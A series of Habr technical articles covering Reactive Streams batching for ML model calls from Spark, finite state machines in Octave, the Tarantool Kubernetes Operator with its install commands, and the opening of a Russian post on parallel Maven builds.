5. Данная переменная содержит количество запрошенных, но не обработанных элементов. Она нам необходима для того, чтобы знать суммарное количество элементов в буфере и тех, которые сейчас находятся в процессе подготовки Publisher-ом. Используя это значение, мы сможем определить момент, когда нам нужно запросить у Publisher-а следующую порцию данных. Так как данная переменная используется только в методах hasNext и next (метод requestNextBatches вызывается только из hasNext), то с ней взаимодействует только один поток, поэтому к ней не нужно синхронизировать доступ.
6. Поля subscriptionPromise и subscription используются для хранения объекта Subscription, который нам передаст Publisher при вызове метода onSubscribe. Напомню, что по спецификации Reactive Streams данный метод должен быть вызван при регистрации Subscriber-а у Publisher-а перед вызовом всех остальных методов, однако существует вероятность, что метод hasNext будет вызван раньше, чем onSubscribe. В этом случае нам необходимо дождаться, когда будет доступен объект subscription, через который мы сможем запросить первую группу элементов у Publisher-а. Для этого используется модификатор lazy у поля subscription, которое инициализируется через Promise.
7. Здесь будет храниться итератор для текущей группы. Взаимодействие с этой переменной также происходит только в методах hasNext и next, то есть из одного потока, поэтому к ней не нужно синхронизировать доступ.
8. Данный флаг необходим для того, чтобы когда данные в итераторе подойдут к концу, метод hasNext всегда возвращал false без обращения к блокирующей очереди. Так как его чтение и изменение происходит только в методе hasNext, его можно объявить как обычную переменную без синхронизации доступа.
9. При вызове метода onSubscribe мы сохраняем переданный Publisher-ом объект Subscription путем успешного завершения Promise, из которого он будет сохранен в поле subscription.
10. onNext вызывается Publisher-ом, когда будет готов результат классификации для очередной группы. Полученный результат кладется в конец очереди.
11. В случае успешного завершения процесса обработки Publisher вызывает метод onComplete, и мы ставим в очередь признак успешного окончания обработки Done.
12. В случае ошибки Publisher вызывает метод onError. В очередь ставится признак неуспешного окончания обработки.
13. При вызове метода hasNext мы в первую очередь проверяем, остались ли элементы в текущем итераторе. Если элементы в нем еще есть, то мы возвращаем true, таким образом исключая необходимость взаимодействия с буфером. Если же текущий итератор пуст, то мы должны достать следующую группу результатов из очереди.
14. Если мы ранее получили признак успешного окончания обработки, то следовательно новых данных больше не будет и нам необходимо вернуть false.
15. В случае, если количество запрошенных, но не обработанных групп становится меньше величины requestSize, мы запрашиваем следующую порцию данных у Publisher. Для запроса следующей порции мы не должны дожидаться момента, когда буфер станет пустым, а запросить новые данные заранее, так как Publisher-у нужно время на то, чтобы выполнить HTTP-запрос и обработать результат его выполнения.
16. Здесь мы берем следующую группу элементов из очереди. В случае, если очередь пуста, мы блокируем поток до того момента, как в буфере появится следующий элемент. По сути, это единственное место во всей нашей схеме, где используется блокирующее взаимодействие (еще одним местом, где возможно блокирующее взаимодействие, является запрос первой группы элементов через объект subscription), но, как мы уже показали ранее, это вызвано тем, что сам итератор является блокирующей структурой.
17. Если в очереди содержится следующая группа результатов, то мы преобразуем ее в итератор и сохраняем в поле currentIterator. Также мы уменьшаем количество ожидаемых элементов на единицу, так как мы только что обработали очередной элемент из буфера. Наконец, мы делаем рекурсивный вызов к методу hasNext для того, что если вдруг в очереди окажется пустая группа (этого вообще не должно быть, но мало ли), то мы бы сразу перешли к обработке следующей.
18. Когда данные подойдут к концу, мы должны вернуть false в полном соответствии с семантикой вызова метода hasNext. Также, мы должны выставить флаг isDone, сигнализирующий о том, что больше данных не будет. Это необходимо из-за того, что метод hasNext может быть вызван несколько раз после окончания обработки, и в этом случае он всегда должен возвращать false. Если бы мы не выставляли явно данный флаг, то в случае повторного вызова метода hasNext после того, как он вернул false мы бы снова обратились к очереди, что привело бы к блокировке потока. А так как новых элементов в очереди больше не будет, то это приведет к зависанию приложения.
19. Если произошла ошибка в процессе обработки потока данных, мы должны выбросить исключение, сигнализировав вызывающей стороне о том, что необходимо прекратить дальнейшую обработку.
20. Метод next отдает следующий элемент из текущего итератора. Согласно семантике его вызова, перед этим вызывающая сторона должна вызвать метод hasNext, поэтому при вызове next в текущем итераторе всегда должен быть следующий элемент.
21. Здесь мы отправляем сигнал Publisher-у о том, что мы готовы обработать следующую группу результатов, используя объект subscription, который мы получили при регистрации у Publisher-а. Количество групп определяется значением requestSize. Также мы увеличиваем количество ожидаемых элементов на эту величину.
Таким образом, общая схема полной обработки для блока данных, запускаемая на исполнителе, выглядит вот так:
*Рисунок 8. Взаимодействие акторов с исходным и результирующим итераторами.*
### В заключение: преимущества и недостатки данного решения
Основным преимуществом данной схемы является то, что она позволяет работать с моделями машинного обучения, реализованными с использованием любых доступных средств. Это достигается за счет того, что для обращения к модели используется HTTP протокол, являющийся стандартным средством коммуникации между приложениями. Благодаря этому реализация модели не привязана к ее интерфейсу.
Еще одно преимущество – данная схема позволяет реализовать горизонтальное масштабирование всех ее элементов. В зависимости от того, что является самой нагруженной частью, мы можем добавить машин либо в Hadoop кластер, либо для запуска дополнительных экземпляров модели. Как следствие, данная схема является отказоустойчивой, так как в случае проблем с какой-либо из машин мы можем легко ее заменить. Это достигается за счет того, что данные, хранящиеся на hdfs, реплицируются, а сервис классификации не зависит от некоторого общего изменяемого состояния, следовательно, он может быть развернут в нескольких экземплярах.
Кроме того, данная схема предоставляет широкие возможности для настройки и оптимизации. Например, так как akka-http использует единый пул соединений в рамках одного процесса на протяжении всего его жизненного цикла, то можно легко контролировать количество соединений к внешнему сервису. Или в случае, если кластер распределен по нескольким дата-центрам, мы можем поднять в каждом из дата-центров по экземпляру модели и настроить процессы Apache Spark так, чтобы они обращались только к своему экземпляру, таким образом, исключив обращения между дата-центрами.
Наконец, используя возможности настройки, данная схема позволяет практически полностью избежать простоев в работе. Подобрав размер группы, отправляемой на классификацию, количество экземпляров сервиса классификации и размер пула http-соединений, можно добиться максимальной загрузки вычислительных мощностей как на стороне сервиса, так и на стороне кластера.
Одним из основных недостатков данной схемы является ее относительная сложность, вызванная разделением компонентов и необходимостью организации взаимодействия между ними. Кроме того, часть вычислительных мощностей будет задействована для обеспечения коммуникации, что немного снизит КПД. Также возможно возникновение дополнительных ошибок, связанных с коммуникацией. Как следствие, возникает необходимость в дополнительных настройках для повышения эффективности взаимодействия.
Для исключения сетевого взаимодействия можно было бы рассмотреть возможность разворачивания экземпляров сервиса на тех же машинах, что и хранятся данные. Но, как правило, количество машин в Hadoop кластере является достаточно большим, поэтому было бы накладно разворачивать экземпляр модели на каждой из них, особенно в случае больших моделей.
Кроме того, как правило, на Hadoop-кластере одновременно выполняется несколько задач, которые конкурируют за ее ресурсы, поэтому запуск дополнительного сервиса снизил бы общую производительность кластера.
Подводя итог, хочу отметить, что данное решение было успешно внедрено в нашей компании [CleverDATA](http://cleverdata.ru/). Благодаря ему команды аналитиков данных и разработчиков приложений могут использовать любые подходящие средства для своей работы не ограничивая друг друга в выборе. По сути, единственным местом, требующим совместного обсуждения и согласования, является интерфейс, предоставляемый моделью машинного обучения, а все остальные вопросы могут быть решены в рамках одной из команд. Таким образом, команды получили возможность работать независимо друг от друга при решении общих задач.
**Напоминаем, что в нашей компании есть вакансии.*** [Java-разработчик](https://job.lanit.ru/vacancy/Pages/CD-15.aspx?utm_source=habr&utm_medium=post-2018-06-13&utm_campaign=habr)
* [Системный инженер](https://job.lanit.ru/vacancy/Pages/CD-14.aspx?utm_source=habr&utm_medium=post-2018-06-13&utm_campaign=habr) | https://habr.com/ru/post/413141/ | null | ru | null |
# Лаконичная реализация конечных автоматов в Matlab, Octave, C
Актуальность
------------
Конечные автоматы (finite state machines, fsm) — штука полезная. Особенно они могут быть востребованы в средах, где в принципе нет развитой многозадачности (например, в Octave, который является в значительной степени бесплатным аналогом Matlab) или в программах для микроконтроллеров, где не используется по каким-то причинам RTOS. До недавнего времени у меня не получалось лаконично описать конечный автомат, хотя и очень хотелось это сделать. Лаконично, т.е. без воды, без создания лишних классов, структур данных, и т.д. Сейчас это, кажется, получилось и я спешу поделиться своей находкой. Возможно, я изобрёл велосипед, но возможно также, что кому-нибудь такой велосипед окажется полезен.
Начальные сведения
------------------
Конечный автомат задаётся:
* набором состояний
* набором событий
* таблицей переходов (т.е. в каком состоянии по какому событию что делается и в какое новое состояние осуществляется переход)
Цель, которая стояла передо мной
--------------------------------
Есть императивный язык, я буду рассматривать Octave, но это может быть и Matlab и C, например. Этот язык поддерживает:
* функции
* указатели на функции
* то, что обычно поддерживают императивные языки (циклы, условные операторы и т.д.)
Хочется, чтоб базовые понятия языка (функции, структуры данных, массивы или что-то ещё) каким-то элегантным образом соответствовали тому, что нужно при реализации FSM. Профит в том, что:
* код будет самодокументированным
* Doxygen или другие утилиты для анализа кода и генерации документации по коду будут давать дополнительную пользу
Описание идеи
-------------
* Поведение внутри состояния должно описываться функцией. Поэтому функция — хороший кандидат для того, чтоб её имя соответствовало состоянию.
* Событие должно детектироваться тоже функцией, поэтому и для названий событий тоже можно использовать функции
* Таблицу переходов можно задавать в либо в виде структуры данных, либо в виде switch/case-выражений внутри состояний
В чём проблема задания таблицы переходов в виде структуры данных?
* Таблица может быть достаточно большой и сложной. В этом случае структура данных перестанет влезать в экран и поддержка такой таблицы будет не такой уж и удобной.
* Структура данных требует какого-то объекта в памяти. Это дополнительное неудобство.
* Структура данных требует специального её конструирования (скорее всего пошагового) — это делает структуру программы более красивой, но анализировать такую машину состояний потом будет не так-то удобно.
Поэтому здесь я буду использовать switch/case инструкцию.
Единственной структурой данных будет переменная, где будет храниться состояние автомата.
Сами состояния будут идентифицироваться хэндлерами функций (function handlers), которые будут обрабатывать поведение машины в этом состоянии. Например:
```
function [new_state data] = state_idle(data)
if data.block_index == 10
new_state = @state_stop;
else
% do something
data.block_index = data.block_index + 1;
printf('block_index = %d\n', data.block_index);
end
end
function [new_state data] = state_stop(data)
% set break flag
data.stop= 1;
end
fsm_state = @state_idle;
data = struct();
data.block_index = 0;
data.stop = 0;
while (1)
[fsm_state data] = fsm_state(data)
if data.stop
break;
end
end
```
В этом коде вся идея, собственно, и описана. В Си, вместо хэндлера функции будет указатель на функцию, всё остальное останется так же.
Пример из жизни
---------------
В качестве примера я реализовал на Octave игру [Life](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life), Джона Конвея. Если сконфигурировать её в режиме 100 х 100, то она будет симулировать работу 10 000 конечных автоматов и при этом работает она достаточно эффективно. В простейшем варианте (без событий), код для игры выглядит следующим образом:
```
% функция описывает состояние 'alive', результирующее состояние зависит
% от состояний соседних клеток
% предполагается, что функция хранится в файле ./fsm_life/state_alive.m
function [new_state] = state_alive(neighbours)
alive_count = sum(sum(cellfun(@(x)x == @state_alive, neighbours)));
alive_count -= 1;
if (alive_count == 2) || (alive_count == 3)
new_state = @state_alive;
else
new_state = @state_dead;
end
end
% функция описывает состояние 'dead', результирующее состояние зависит
% от состояний соседних клеток
% предполагается, что функция хранится в файле ./fsm_life/state_dead.m
function [new_state] = state_dead(neighbours)
alive_count = sum(sum(cellfun(@(x)x == @state_alive, neighbours)));
if (alive_count == 3)
new_state = @state_alive;
else
new_state = @state_dead;
end
end
% главный скрипт.
% предполагается, что он хранится в файле ./life.m
addpath('fsm_life'); % добавляем путь к директории с нашим автоматом
debug_on_error(1); % если будет какая-то ошибка - остановим выполнение и проанализируем её
% размеры поля 30 х 30
size_x = 30;
size_y = 30;
% если будет выбрано случайное заполнение, тогда живыми будут 30% всех клеток
init_alive_percentage = 30;
% выбор эксперимента (случайное заполнение/цикл/глайдер).
% initialization selection:
%init = 'random';
%init = 'cycle';
init = 'glider';
% наше поле - это cell-array, потому что function handlers нельзя хранить в
% обычном массиве в Октаве
field = cell(size_y, size_x);
% Все клетки заполняем состоянием "клетка мертва"
[field{:}] = deal(@state_dead);
% инициализируем поле либо случайными значениями, либо "палкой", либо глайдером.
switch (init)
case 'random'
init_alive_count = round((size_x * size_y) * init_alive_percentage / 100);
for n=(1:init_alive_count)
x = floor((size_x-0.0000001)*rand())+1;
y = floor((size_y-0.0000001)*rand())+1;
field{y,x} = @state_alive;
end
case 'cycle'
field{2,1} = @state_alive;
field{2,2} = @state_alive;
field{2,3} = @state_alive;
case 'glider'
field{1,3} = @state_alive;
field{2,3} = @state_alive;
field{3,3} = @state_alive;
field{3,2} = @state_alive;
field{2,1} = @state_alive;
end
% выводим в консоль начальную конфигурацию поля
printf("Initial distribution:\n");
cellfun(@(x)x == @state_alive, field)
% simulation
for step = (1:100)
% создаём переменную для поля на следующем шаге симуляции.
field_new = cell(size(field));
% проходимся по всем клеткам
for x=(1:size_x)
for y=(1:size_y)
% вычисляем координаты квадрата, описывающего клетку и её соседей
x_min = max(x-1, 1);
x_max = min(x+1, size_x);
y_min = max(y-1, 1);
y_max = min(y+1, size_y);
% считываем квадрат с клеткой и её соседями
neighbours = field(y_min:y_max, x_min:x_max);
% здесь происходит основное действие:
% присваиваем клетке новое состояние, которое вычисляется хэндлером.
field_new{y,x} = field{y,x}(neighbours);
end
end
% записываем вновь вычисленное поле на место старого
field = field_new;
% выводим в консоль новую конфигурацию поля
printf('Distribution after step %d\n', step );
cellfun(@(x)x == @state_alive, field)
% выводим новую конфигурацию поля на картинку
figure(1); imagesc(cellfun(@(x)x == @state_alive, field));
% пауза нужна чтоб можно было остановить симуляцию по Ctrl+C
pause(0.05);
end
```
Если хочется больше самодокументируемости и явного определения событий, тогда к двум функциям, отвечающим за состояния, добавится ещё 3 функции, отвечающие за события:
```
function event = event_die(neighbours)
alive_count = sum(sum(cellfun(@(x)x == @state_alive, neighbours)));
alive_count -= 1;
if (alive_count == 2) || (alive_count == 3)
event = '';
else
event = 'die';
end
end
function event = event_spawn(neighbours)
alive_count = sum(sum(cellfun(@(x)x == @state_alive, neighbours)));
if (alive_count == 3)
event = 'spawn';
else
event = '';
end
end
function event = event_survive(neighbours)
alive_count = sum(sum(cellfun(@(x)x == @state_alive, neighbours)));
alive_count -= 1;
if (alive_count == 2) || (alive_count == 3)
event = 'survive';
else
event = '';
end
end
function [new_state] = state_alive(neighbours)
event = '';
event = [event, event_die(neighbours)];
event = [event, event_survive(neighbours)];
switch event
case 'die'
new_state = @state_dead;
case 'survive'
new_state = @state_alive;
otherwise
msg = sprintf('Unknown event: %s\n', event);
error(msg);
end
end
function [new_state] = state_dead(neighbours)
event = event_spawn(neighbours);
switch event
case 'spawn'
new_state = @state_alive;
case ''
new_state = @state_dead;
otherwise
msg = sprintf('Unknown event: %s\n', event);
error(msg);
end
end
```
Основной скрипт в этом случае останется тем же самым.
Вот пример того, как глайдер ползёт из левого верхнего угла в правый нижний:
Исходники выложил на гитхаб: <https://github.com/tminnigaliev/octave_life>
Upd.1: Несмотря на то, что я заявил, что эта идея также может быть реализована средствами языка Си, реализация может оказаться не такой уж и простой. Если реализовывать на Си, то состояние будет представляться типом данных Т, который будет являться указателем на функцию, принимающую массив (или указатель на массив) элементов типа Т и возвращающую тип Т. Это проще заявить, чем написать. Тем не менее, я попробую что-нибудь такое реализовать позже и напишу другую статью, где опишу Си-шную реализацию.
Upd.2: Несмотря на то, что, что я обещал написать другую статью, где обещал описать Си-шную реализацию, я понял, что делать это нет большого смысла. Си знают многие, вряд ли я там что-то новое расскажу, поэтому я решил ограничиться ссылкой на online-gdb с Си-шной реализацией: <https://onlinegdb.com/jsND-_7L4>
Upd.3: Читателю, наверно, интересно не только читать текст, но и может быть интересно посмотреть результаты симуляции. Не у всех есть Octave, а тем более Matlab, поэтому я выложил этот проект в [octave-online](https://octave-online.net/bucket~34LSZCNBAtXErhYStTnxZf) | https://habr.com/ru/post/563120/ | null | ru | null |
# Tarantool Kubernetes Operator
Kubernetes has already become a de-facto standard for running stateless applications, mainly because it can reduce time-to-market for new features. Launching stateful applications, such as databases or stateful microservices, is still a complex task, but companies have to meet the competition and maintain a high delivery rate. So they create a demand for such solutions.
We want to introduce our solution for launching stateful [Tarantool Cartridge](https://www.tarantool.io/ru/cartridge/) clusters: [Tarantool Kubernetes Operator](https://www.tarantool.io/ru/kubernetes/), more under the cut.
1. [Instead of a Thousand Words](#1)
2. [What the Operator Actually Does](#2)
3. [A Little About the Details](#3)
4. [How the Operator Works](#4)
5. [What the Operator Creates](#5)
6. [Summary](#6)
Tarantool is an open-source DBMS and an application server all-in-one. As a database, it has many unique characteristics: high efficiency of hardware utilization, flexible data schema, support for both in-memory and disk storage, and the possibility of extension using Lua language. As an application server, it allows you to move the application code as close to the data as possible with minimum response time and maximum throughput. Moreover, Tarantool has an [extensive ecosystem](https://www.tarantool.io/en/download/rocks) providing ready-to-use modules for solving application problems: [sharding](https://github.com/tarantool/vshard), [queue](https://github.com/tarantool/queue), modules for easy development ([cartridge](https://github.com/tarantool/cartridge), [luatest](https://github.com/tarantool/luatest)), solutions for operation ([metrics](https://github.com/tarantool/metrics), [ansible](https://github.com/tarantool/ansible-cartridge)), just to name a few.
For all its merits, the capabilities of a single Tarantool instance are always limited. You would have to create tens and hundreds of instances in order to store terabytes of data and process millions of requests, which already implies a distributed system with all its typical problems. To solve them, we have [Tarantool Cartridge](https://github.com/tarantool/cartridge), which is a framework designed to hide all sorts of difficulties when writing distributed applications. It allows developers to concentrate on the business value of the application. Cartridge provides a robust set of components for automatic cluster orchestration, automatic data distribution, WebUI for operation, and developer tools.
Tarantool is not only about technologies, but also about a team of engineers working on the development of turnkey enterprise systems, out-of-the-box solutions, and support for open-source components.
Globally, all our tasks can be divided into two areas: the development of new systems and the improvement of existing solutions. For example, there is an extensive database from a well-known vendor. To scale it for reading, Tarantool-based eventually consistent cache is placed behind it. Or vice versa: to scale the writing, Tarantool is installed in the hot/cold configuration: while the data is «cooling down», it is dumped to the cold storage and at the same time into the analytics queue. Or a light version of an existing system is written (functional backup) to back up the «hot» data by using data replication from the main system. Learn more from the [T+ 2019 conference reports](https://www.youtube.com/channel/UCc2_EprBYT7O6iPIdwkjL_w).
All of these systems have one thing in common: they are somewhat difficult to operate. Well, there are many exciting things: to quickly create a cluster of 100+ instances backing up in 3 data centers; to update the application that stores data with no downtime or maintenance drawdowns; to create a backup and restore in order to prepare for a possible accident or human mistakes; to ensure hidden component failover; to organize configuration management…
[Tarantool Cartridge](https://www.tarantool.io/ru/cartridge/) that literally has just been released into open source considerably simplifies the distributed system development: it supports component clustering, service discovery, configuration management, instance failure detection and automatic failover, replication topology management, and sharding components.
It would be so great if we could operate all of this as quickly as develop it. Kubernetes makes it possible, but a specialized operator would make life even more comfortable.
Today we introduce the alpha version of Tarantool Kubernetes Operator.
Instead of a Thousand Words
---------------------------
We have prepared a small example based on Tarantool Cartridge, and we are going to work with it. It is a simple application called a distributed key-value storage with HTTP-interface. After start-up, we have the following:
Where
* Routers are part of the cluster responsible for accepting and processing incoming HTTP requests;
* Storages are part of the cluster responsible for storing and processing data; three shards are installed out of the box, each one having a master and a replica.
To balance incoming HTTP traffic on the routers, a Kubernetes Ingress is used. The data is distributed in the storage at the level of Tarantool itself using the [vshard component](https://github.com/tarantool/vshard).
We need Kubernetes 1.14+, but [minikube](https://kubernetes.io/docs/tasks/tools/install-minikube/) will do. It is also lovely to have [kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/). To start the operator, create a ServiceAccount, a Role, and a RoleBinding:
```
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/service_account.yaml
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/role.yaml
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/role_binding.yaml
```
Tarantool Operator extends Kubernetes API with its resource definitions, so let’s create them:
```
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/crds/tarantool_v1alpha1_cluster_crd.yaml
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/crds/tarantool_v1alpha1_role_crd.yaml
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/crds/tarantool_v1alpha1_replicasettemplate_crd.yaml
```
Everything is ready to start the operator, so here it goes:
```
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/deploy/operator.yaml
```
We are waiting for the operator to start, and then we can proceed with starting the application:
```
$ kubectl create -f https://raw.githubusercontent.com/tarantool/tarantool-operator/0.0.1/examples/kv/deployment.yaml
```
An Ingress is declared on the web UI in the YAML file with the example; it is available in `cluster_ip/admin/cluster`. When at least one Ingress Pod is ready and running, you can go there to watch how new instances are added to the cluster and how its topology changes.
We are waiting for the cluster to be used:
```
$ kubectl describe clusters.tarantool.io examples-kv-cluster
```
We are waiting for the following cluster Status:
```
…
Status:
State: Ready
…
```
That is all, and the application is ready to use!
Do you need more storage space? Then, let’s add some shards:
```
$ kubectl scale roles.tarantool.io storage --replicas=3
```
If shards cannot handle the load, then let’s increase the number of instances in the shard by editing the replica set template:
```
$ kubectl edit replicasettemplates.tarantool.io storage-template
```
Let us set the `.spec.replicas` value to two in order to increase the number of instances in each replica set to two.
If a cluster is no longer needed, just delete it together with all the resources:
```
$ kubectl delete clusters.tarantool.io examples-kv-cluster
```
Did something go wrong? [Create a ticket](https://github.com/tarantool/tarantool-operator/issues), and we will quickly work on it.
What the Operator Actually Does
-------------------------------
The start-up and operation of the Tarantool Cartridge cluster is a story of performing specific actions in a specific order at a specific time.
The cluster itself is managed primarily via the admin API: GraphQL over HTTP. You can undoubtedly go a level lower and give commands directly through the console, but this doesn't happen very often.
For example, this is how the cluster starts:
1. We deploy the required number of Tarantool instances, for example, using systemd.
2. Then we connect the instances into membership:
```
mutation {
probe_instance: probe_server(uri: "storage:3301")
}
```
3. Then we assign the roles to the instances and specify the instance and replica set identifiers. The GraphQL API is used for this purpose:
```
mutation {
join_server(
uri:"storage:3301",
instance_uuid: "cccccccc-cccc-4000-b000-000000000001",
replicaset_uuid: "cccccccc-0000-4000-b000-000000000000",
roles: ["storage"],
timeout: 5
)
}
```
4. inally, we bootstrap the component responsible for sharding using the API:
```
mutation {
bootstrap_vshard
cluster {
failover(enabled:true)
}
}
```
Easy, right?
Everything is more interesting when it comes to cluster expansion. The Routers role from the example scales easily: create more instances, join them to an existing cluster, and you're done! The Storages role is somewhat trickier. The storage is sharded, so when adding/removing instances, it is necessary to rebalance the data by moving it to/from the new/deleted instances respectively. Failing to do so would result in either underloaded instances, or lost data. What if there is not just one, but a dozen of clusters with different topologies?
In general, this is all that Tarantool Operator handles. The user describes the necessary state of the Tarantool Cartridge cluster, and the operator translates it into a set of actions applied to the K8s resources and into certain calls to the Tarantool cluster administrator API in a specific order at a specific time. It also tries to hide all the details from the user.
A Little About the Details
--------------------------
While working with the Tarantool Cartridge cluster administrator API, both the order of the calls and their destination are essential. Why is that?
Tarantool Cartridge contains its topology storage, service discovery component and configuration component. Each instance of the cluster stores a copy of the topology and configuration in a YAML file.
```
servers:
d8a9ce19-a880-5757-9ae0-6a0959525842:
uri: storage-2-0.examples-kv-cluster:3301
replicaset_uuid: 8cf044f2-cae0-519b-8d08-00a2f1173fcb
497762e2-02a1-583e-8f51-5610375ebae9:
uri: storage-0-0.examples-kv-cluster:3301
replicaset_uuid: 05e42b64-fa81-59e6-beb2-95d84c22a435
…
vshard:
bucket_count: 30000
...
```
Updates are applied consistently using the [two-phase commit](https://en.wikipedia.org/wiki/Two-phase_commit_protocol) mechanism. A successful update requires a 100% quorum: every instance must respond. Оtherwise, it rolls back. What does this mean in terms of operation? In terms of reliability, all the requests to the administrator API that modify the cluster state should be sent to a single instance, or the leader, because otherwise we risk getting different configurations on different instances. Tarantool Cartridge does not know how to do a leader election (not just yet), but Tarantool Operator can, and for you, this is just a fun fact, because the operator does everything.
Every instance should also have a fixed identity, i.e. a set of `instance_uuid` and `replicaset_uuid`, as well as `advertise_uri`. If suddenly a storage restarts, and one of these parameters changes, then you run the risk of breaking the quorum, and the operator is responsible for this.
How the Operator Works
----------------------
The purpose of the operator is to bring the system into the user-defined state and maintain the system in this state until new directions are given. In order for the operator to be able to work, it needs:
1. The description of the system status.
2. The code that would bring the system into this state.
3. A mechanism for integrating this code into k8s (for example, to receive state change notifications).
The Tarantool Cartridge cluster is described in terms of k8s using a [Custom Resource Definition (CRD)](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/). The operator would need three custom resources united under the tarantool.io/v1alpha group:
* Cluster is a top-level resource that corresponds to a single Tarantool Cartridge cluster.
* Role is a [user role](https://www.tarantool.io/en/enterprise_doc/1.10/dev/#defining-custom-cluster-roles) in terms of Tarantool Cartridge.
* Replicaset Template is a template for creating StatefulSets (I will tell you a bit later why they are stateful; not to be confused with K8s ReplicaSet).
All of these resources directly reflect the Tarantool Cartridge cluster description model. Having a common dictionary makes it easier to communicate with the developers and to understand what they would like to see in production.
The code that brings the system to the given state is the Controller in terms of K8s. In case of Tarantool Operator, there are several controllers:
* Cluster Controller is responsible for interacting with the Tarantool Cartridge cluster; it connects instances to the cluster and disconnects instances from the cluster.
* Role Controller is the user role controller responsible for creating StatefulSets from the template and maintaining the predefined number of them.
What is a controller like? It is a set of code that gradually puts the world around itself in order. A Cluster Controller would schematically look like:
An entry point is a test to see if a corresponding Cluster resource exists for an event. Does it exist? «No» means quitting. «Yes» means moving onto the next block and taking Ownership of the user roles. When the Ownership of a role is taken, it quits and goes the second time around. It goes on and on until it takes the Ownership of all the roles. When the ownership is taken, it's time to move to the next block of operations. And the process goes on until the last block. After that, we can assume that the controlled system is in the defined state.
In general, everything is quite simple. However, it is important to determine the success criteria for passing each stage. For example, the cluster join operation is not considered successful when it returns hypothetical success=true, but when it returns an error like «already joined».
And the last part of this mechanism is the integration of the controller with K8s. From a bird's eye view, the entire K8s consists of a set of controllers that generate events and respond to them. These events are organized into queues that we can subscribe to. It would schematically look like:
The user calls `kubectl create -f tarantool_cluster.yaml`, and the corresponding Cluster resource is created. The Cluster Controller is notified of the Cluster resource creation. And the first thing it is trying to do is to find all the Role resources that should be part of this cluster. If it does, then it assigns the Cluster as the Owner for the Role and updates the Role resource. Role Controller receives a Role update notification, understands that the resource has its Owner, and starts creating StatefulSets. This is the way it works: the first event triggers the second one, the second event triggers the third one, and so on until one of them stops. You can also set a time trigger, for example, every 5 seconds.
This is how the operator is organized: we create a custom resource and write the code that responds to the events related to the resources.
What the Operator Creates
-------------------------
The operator actions ultimately result in creating K8s Pods and containers. In the Tarantool Cartridge cluster deployed on K8s, all Pods are connected to StatefulSets.
Why StatefulSet? As I mentioned earlier, every Tarantool Cluster instance keeps a copy of the cluster topology and configuration. And every once in a while an application server has some space dedicated, for example, for queues or reference data, and this is already a full state. StatefulSet also guarantees that Pod identities are preserved, which is important when clustering instances: instances should have fixed identities, otherwise we risk losing the quorum upon restart.
When all cluster resources are ready and in the desired state, they reflect the following hierarchy:
The arrows indicate the Owner-Dependant relationship between resources. It is necessary, for example, for the [Garbage Collector](https://kubernetes.io/docs/concepts/workloads/controllers/garbage-collection/) to clean up after the Cluster removal.
In addition to StatefulSets, Tarantool Operator creates a Headless Service for the leader election, and the instances communicate with each other over this service.
Tarantool Operator is based on the [Operator Framework](https://github.com/operator-framework/operator-sdk), and the operator code is written in Golang, so there is nothing special here.
Summary
-------
That's pretty much all there is to it. We are waiting for your feedback and tickets. We can't do without them — it is the alpha version after all. What is next? The next step is much polishing:
* Unit, E2E tests;
* Chaos Monkey tests;
* stress tests;
* backup/restore;
* external topology provider.
Each of these topics is broad on its own and deserves a separate article, so please wait for updates! | https://habr.com/ru/post/472428/ | null | en | null |
# Ускорение Maven сборки
#### Узнайте, как сделать сборки Maven более быстрыми и эффективными
Для сборки требуется несколько свойств, главное из которых - воспроизводимость.
Я считаю, что скорость должна быть ниже в порядке приоритета. Тем не менее, это также один из самых лимитирующих факторов на ваш цикл выпуска: если ваша сборка занимает *T*, вы не можете отпустить быстрее, чем каждый из *T*.
Следовательно, вы, вероятно, захотите ускорить свои сборки после достижения определенного уровня зрелости, чтобы выпускать более частые релизы.
В этом посте я хочу подробно рассказать о некоторых методах, которые вы можете использовать для ускорения Maven сборки. Следующий пост будет посвящен тому, как сделать то же самое внутри Docker.
### Исходный уровень
Поскольку я хочу предложить методы и оценить их влияние, нам нужен образец репозитория.
Я выбрал [примеры кода Hazelcast,](https://github.com/hazelcast/hazelcast-code-samples) потому что он обеспечивает достаточно большую многомодульную кодовую базу с множеством подмодулей; точный коммит - [448febd](https://github.com/hazelcast/hazelcast-code-samples/commit/448febd9977b9927a3f00bbf61ba50b2c0d94bb4).
Порядок действий следующий:
* Я запускаю команду пять раз, чтобы избежать временных проблем
* Я выполняю `mvn clean` перед каждым запуском, чтобы начать с пустого `target` репозитория
* Все зависимости и плагины уже загружены
* Я сообщаю время, которое Maven отображает в журнале консоли:
```
[INFO] -------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] -------------------------------------------------------
[INFO] Total time: 22.456 s (Wall Clock)
[INFO] Finished at: 2021-09-24T23:20:41+02:00
[INFO] -------------------------------------------------------
```
Начнем с нашего исходного уровня, выполнив команду: `mvn test`. Результат:
* 02:00 мин.
* 01:57 мин.
* 01:58 мин.
* 01:56 мин.
* 01:58 мин.
### Использование всех процессоров
По умолчанию Maven использует один поток. В век многоядерных процессоров это пустая трата времени. Можно запускать параллельные сборки с использованием нескольких потоков, задав абсолютное число или число относительно количества доступных ядер. Для получения дополнительной информации, пожалуйста, посмотрите [соответствующую документацию](https://cwiki.apache.org/confluence/display/MAVEN/Parallel+builds+in+Maven+3).
Чем больше у вас подмодулей, которые не зависят друг от друга, *т.е*. Maven может выполнять их сборку параллельно, тем лучше результат вы получите с помощью этой техники.
Это очень хорошо работает на нашей кодовой базе.
Мы собираемся использовать столько потоков, сколько доступно ядер. Соответствующая команда Maven: `mvn test -T 1C`.
При запуске этой команды вы должны увидеть в консоли следующее сообщение:
```
Using the MultiThreadedBuilder implementation with a thread count of X
```
* 51.487 s (Wall Clock)
* 40.322 s (Wall Clock)
* 52.468 s (Wall Clock)
* 41.862 s (Wall Clock)
* 41.699 s (Wall Clock)
